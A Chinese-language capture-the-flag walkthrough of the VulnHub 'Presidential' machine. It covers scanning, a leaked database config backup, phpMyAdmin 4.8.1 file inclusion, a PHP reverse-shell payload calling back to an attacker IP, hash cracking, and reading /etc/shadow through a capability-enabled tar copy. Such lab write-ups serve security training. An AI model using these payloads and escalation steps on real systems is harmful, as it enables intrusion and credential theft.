打靶记录24——Presidential

news/2025/1/8 22:32:51/文章来源:https://www.cnblogs.com/Fab1an/p/18650719

靶机:

https://www.vulnhub.com/entry/presidential-1,500/

下载(镜像)https://download.vulnhub.com/presidential/Presidential.ova

难度:

目标:

  • 获得 Root 权限 + 2 Flag

攻击方法:

  • 主机发现
  • 端口扫描
  • 信息收集
  • 备份文件
  • 子域名爆破
  • phpmyadmin
  • 密码爆破
  • 本地文件包含
  • Capabilities
  • 本地权限漏洞
  • SSH公钥认证

主机发现

sudo arp-scan -l

端口扫描和服务发现

sudo nmap -p- 192.168.31.15

sudo nmap -p80,2082 -sV 192.168.31.15

  • -sV:进行服务版本探测。它会尝试获取目标端口上运行的服务具体的软件版本信息,例如,如果 80 端口开放且运行着 HTTP 服务,它可能会探测出是 Apache 还是 Nginx 服务器以及对应的版本号等内容,有助于了解目标的软件环境,判断是否存在已知版本相关的安全漏洞等。
  • -sC:等同于 --script=default,会调用 nmap 默认自带的一系列脚本对目标进行检测。这些脚本可以帮助发现一些常见的安全配置问题、服务特性、漏洞信息等,比如可以检测目标是否存在弱密码、是否有一些不安全的 HTTP 配置等情况。

打开 80 端口的 Web 应用,发现有一个域名,那我们就直觉的先把它添加到 hosts 文件里面,方便进行域名解析

sudo vi /etc/hosts

然后我们通过域名来访问网站,没发现有啥不同

路径爬取

sudo dirsearch -u http://192.168.31.15

访问 http://votenow.local/config.php.bak 这个应该是一个备份文件,打开后 Ctrl + U 查看源代码,发现信息

其中包含了数据库的相关信息,库名和账号密码

<?php$dbUser = "votebox";
$dbPass = "casoj3FFASPsbyoRP";
$dbHost = "localhost";
$dbname = "votebox";?>

尝试用这个账号密码登录目标系统

ssh votebox@192.168.31.15 -p 2082

但是目标不支持密码登录方式,支持公钥身份认证方式登录

子域名爆破

gobuster vhost -u http://votenow.local/ -w /usr/share/seclists/Discovery/WebContent/directory-list-2.3-medium.txt | grep "Status: 200"

发现一个新域名 datasafe.votenow.local/,然后继续添加到 hosts 文件里面,访问发现是一个 phpmyadmin

使用前面在备份文件中获取到的账号密码 votebox/casoj3FFASPsbyoRP 成功登录进去

phpmyadmin

发现了账号密码 admin/$2y$12$d/nOEjKNgk/epF2BeAFaMu8hW4ae3JJk8ITyh48q97awT/G7eQ11i ,先保存下来

在 URL 后面直接写 README 就可以看它的版本 http://datasafe.votenow.local/README

searchsploit phpmyadmin 4.8.1

使用下面那个 RCE 的代码不成功

本地文件包含

那就用其他的试试

现在这里执行一下

复制 session ,按照 44928.txt 中构造我们的 URL

注意我们的 URL 中多了个 s ,要把它去掉才能利用成功

发现成功了

反弹 shell

那么我们反弹 shell

select '<?php system("bash -i >& /dev/tcp/192.168.31.137/4444 0>&1");exit;?>'
  • system 函数:在 PHP 等编程语言中,system 函数用于执行操作系统命令。它会在服务器的 shell 环境中执行括号内的命令字符串。
  • bash -i:这部分启动一个交互式的 bash shell 环境。-i 选项表示交互模式,使得攻击者在获取到 shell 后能够更方便地与目标系统进行交互操作,如执行各种命令、查看文件系统等。
  • >& /dev/tcp/192.168.31.137/4444:这是一个重定向操作,将 bash 进程的标准输出(stdout)和标准错误输出(stderr)都重定向到一个 TCP 连接上。/dev/tcp/ 是一个在类 Unix 系统中用于创建 TCP 套接字的特殊设备文件路径表示方式,这里表示要连接到 IP 地址为 192.168.31.137 的主机上的 4444 端口。
  • 0>&1:这进一步确保了标准输入(stdin)也与标准输出和标准错误输出关联起来,使得攻击者能够通过建立的 TCP 连接向目标系统的 bash shell 发送输入命令,实现完整的交互式控制。

然后浏览器再访问 URL 就成功反弹 shell

PS:记得重新登录,获取一个新的 session

发现一个 admin 账号,我们前面有获得过一个 admin 的密码

用 john 爆破密码,获得密码 Stella

python -c "import pty;pty.spawn('/bin/bash')" 升级一下 shell

Capabilities 提权

getcap -r / 2>/dev/null 使用这个命令来检查系统上哪些文件具有特殊的功能权限。和 SUID 比较相似

  • getcap是一个用于获取文件功能(capabilities)的命令。在 Linux 系统中,文件功能是一种细粒度的权限机制,它可以让文件(通常是可执行文件)具有比传统的用户 / 组 / 其他权限更灵活的权限设置。
  • -r选项是递归(recursive)的意思,/是根目录,所以getcap -r /表示从根目录开始递归地获取所有文件的功能。
  • 2>/dev/null是一种标准错误输出重定向。在 Linux 系统中,文件描述符2代表标准错误输出。/dev/null是一个特殊的设备文件,它就像一个 “黑洞”,把写入其中的数据丢弃。所以2>/dev/null的作用是将命令执行过程中产生的错误信息丢弃,这样用户在终端上就看不到错误信息了。

ls -l /usr/bin/tarS 发现这个是 admin 账号可以使用的,它的属主和属组都是 admin,它既可以读也可以搜索 /usr/bin/tarS = cap_dac_read_search+ep

然后发现它就是一个 tar 命令,用来压缩、打包的

用 tarS 来读取 /etc/shadow 文件

1. 第一次尝试打包 /etc/shadow 文件(在 phpmyadmin 目录下)

  • 操作命令
    tarS -cvf shadow.tar /etc/shadow(在 [admin@votenow phpmyadmin] 目录下执行)
  • 结果及原因
    出现 tarS: shadow.tar: Cannot open: Permission denied 以及 tarS: Error is not recoverable: exiting now 的错误提示。这是因为在 phpmyadmin 目录下,当前用户(admin)没有足够权限在该目录创建 shadow.tar 文件,所以导致打包操作无法正常进行。

2. 第二次尝试打包 /etc/shadow 文件(在用户主目录 ~ 下)

  • 操作命令
    先通过 cd 命令回到用户主目录([admin@votenow ~]),然后再次执行 tarS -cvf shadow.tar /etc/shadow
  • 结果及相关说明
    这次操作成功开始打包,并且有 tarS: Removing leading /' from member names的提示,随后显示/etc/shadow,表示正在将 /etc/shadow文件添加到shadow.tar归档文件中。成功执行后,在当前目录(用户主目录)下可以看到生成了shadow.tar文件,通过ls 命令能看到相关文件列表(notes.txtshadow.taruser.txt` 等)。

3. 解压 shadow.tar 文件

  • 操作命令
    在用户主目录下执行 tar -xvf shadow.tar
  • 结果及后续查看
    解压后在当前目录下生成了 etc 目录(因为打包时去掉了 / 开头的绝对路径前缀,所以解压出来是相对路径形式的目录结构),通过 ls 命令能看到解压后的 etc 目录以及其他文件。进一步通过 ls -l 查看详细信息,可以看到 etc 目录的权限等信息(drwxrwxr-x 2 admin admin 20 Jan 3 10:05 etc)。

4. 查看 /etc/shadow 文件内容及权限修改

  • 查看文件内容遇到权限问题
    进入 etc 目录后([admin@votenow etc]),执行 ls -l 查看 shadow 文件(即之前打包解压出来的 /etc/shadow 的对应文件),发现其权限为 ----------,意味着除了超级用户(root)外,其他用户都没有任何权限访问该文件,所以当执行 cat shadow 命令时,提示 cat: shadow: Permission denied,无法查看文件内容。
  • 权限修改及再次查看内容
    接着执行 chmod 700 shadow 命令,将 shadow 文件权限修改为所有者具有读、写、执行权限(7 对应的权限位 rwx),所属组和其他用户都没有任何权限的情况。之后再次执行 cat shadow 命令就能成功查看文件内容了,文件内容展示了系统中各个用户账号(如 rootbinadmin 等)对应的加密后的密码信息(以 $ 符号分割的格式,如 $6$BvtXLMHn$zoYCSCRbdnaUOb4u3su6of9DDUXeUEe05OOiPIQ5AWo6AB3FWRr/RC3PQ4z.ryqn6o5xS9g4JTKHYI4ek9y541 等)以及密码相关的一些设置参数(如密码有效期等信息)。

  • tar 命令中,-c-v-f-x是四个不同的选项。
  • -c(Create):这个选项告诉 tar 命令创建一个新的归档文件。例如,当你想要将多个文件或目录打包成一个 .tar 文件时,就需要使用这个选项。
  • -x(Extract):这个选项指示 tar 命令从归档文件中提取(解压)文件和目录。它与创建归档文件的 -c 选项相对应。
  • -v(Verbose):它用于显示详细的操作信息。在打包过程中,-v 选项会让 tar 命令打印出正在添加到归档文件中的每个文件或目录的名称。这样用户可以清楚地看到打包的进度和具体内容。
  • -f(File)-f 选项用于指定归档文件的名称。它后面需要紧跟要创建或操作的归档文件名。例如,-cvf shadow.tar 表示创建一个名为 shadow.tar 的归档文件,并且在创建过程中显示详细信息。

然后想通过 john 来暴力破解 root 用户的密码但是失败了,而且花了很长时间

SSH 公钥认证

读取 root 的私钥文件,然后去登录 root 账号

打靶完毕!

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.hqwc.cn/news/863499.html

如若内容造成侵权/违法违规/事实不符,请联系编程知识网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

继续聊一聊sqlsugar的一个机制问题

几个月前换了新工作,从技术负责人的岗位上下来,继续回归码农写代码,在新公司中,我不是技术负责人,没太多的话语权。 公司这边项目统一都是使用了SqlSguar这个orm,我也跟着使用了几个月,期间碰见了不少奇奇怪怪的问题,甚至之前特意写文章“骂”过,但是今天要聊的这个问…

高性能MySQL(第4版)PDF、EPUB免费下载

领域经典十年后全版更新||全面拥抱8.0||重磅剖析现代云数据库与大规模运维实践||中国首批DBA精琢翻译5大头部国产数据库创始人联合力荐适读人群 :不但适合数据库管理员(DBA)阅读,也适合开发人员参考学习。不管是数据库新手还是专家,相信都能从本书有所收获 领域经典十年后…

【校长系列】2022版高中信息技术课程标准详细解读(PPT课件)

【校长系列】2022版高中信息技术课程标准详细解读(PPT课件)新课标解读

采集DNP3 转 profinet IO项目案例

VFBOX协议转换网关支持PLC,modbus,EthernetIP,Profinet,CCLink,EtherCAT,IEC61850,IEC104,bacnet,DLT645,HJ212,opc ua,opc da,DNP3。目录 1 案例说明 1 2 VFBOX网关工作原理 1 3 准备工作 2 4 配置网关采集DNP3协议数据 2 5 用PROFINET IO协议转发数据 4 6 案例总…

PPT保存报错:某些字体无法与演示文稿一起保存.241127

WPS做的PPT,用的会员,高级的那种,很高大上很好看,但是用微软的PowerPoint编辑保存,报错:某些字体无法与演示文稿一起保存。 解决方案:移除嵌入的字体 打开演示文稿文件。 在“文件”菜单上选择“选项”。 选择对话框左侧的“保存”选项卡。 在“共享此演示文稿时保持保真…

API开发与管理规范v1.0_.20241127

1. 协议规范 为了确保不同业务系统之间以及前后端的的数据交互的快捷性,通讯协议统一约定如下:对内调用的API接口统一使用 HTTP协议 对外互联网发布的API建议使用HTTPS协议也可以使用HTTP 新的API接口必须使用标准的HTTP报文并使用JSON作为统一的数据传送标准 如无特殊情况禁…

Node开发规范v1.0_.20241127

一、空格与格式 (一)缩进 采用2个空格缩进,而不是tab缩进。 空格在编辑器中与字符是等宽的,而tab可能因编辑器的设置不同。2个空格会让代码看起来更紧凑、明快。 变量声明 永远用var声明变量,不加var时会将其变成全局变量,这样可能会意外污染上下文,或是被意外污染。 在EC…

ABAP开发规范V1.0_.20241127

1. 概要 1.1目的 该文档定义了在开发与维护ABAP程序过程中必须遵守的规范与标准。该文档应当被视为一个动态的文档,该文档会根据需要进行增补和修订。 开发规范的重要作用在于保持整个开发团队的开发风格一致,提高程序质量,降低维护压力。 1.2适用范围 所有ABAP开发及系统配…

浙江单考单招政策解读!(内含浙江单招院校名单)

浙江单考单招政策解读!(内含浙江单招院校名单) 浙江单考单招: 浙江单招,即浙江省普通高校招生单独考试,浙江单招的考试科目通常包括文化课和职业技能测试(分为理论课和操作两部分),很多考生对浙江单招政策还有很多疑问,小编整理了浙江单招政策常见的一些政策问题及单…

如何评估员工是否以客户为中心

达到或超过期望值他能够与客户的反对意见打交道,应对它们,并使客户相信他的观点的优点。 他能为任何客户找到正确的方法,即使是最关键的客户。 他对客户总是很有礼貌和友好。他在谈话中从不打断他们。 他不能让客户失望。如果他承诺过要做什么,他就会履行承诺。 他总是关心…

antdVue 合并a-table相同内容行的方法

{title: "核算项",dataIndex: "hesxName",key: "hesxName",align: "center",customRender: (text, record, index) => {const obj = {children: text !== null ? text : "",attrs: {},};obj.attrs.rowSpan = this.merge…

在jooq的POJO类中使用Lombok的Data注解

jooq生成pojo类的配置根据官方给的如下: https://www.jooq.org/doc/3.14/manual/getting-started/tutorials/jooq-in-7-steps/jooq-in-7-steps-step3/如果想要使用lombok注解,需要自定义生成器。原生的参数并不足够支持这样做。另外一般也不需要这样做,因为更推荐把生成的代…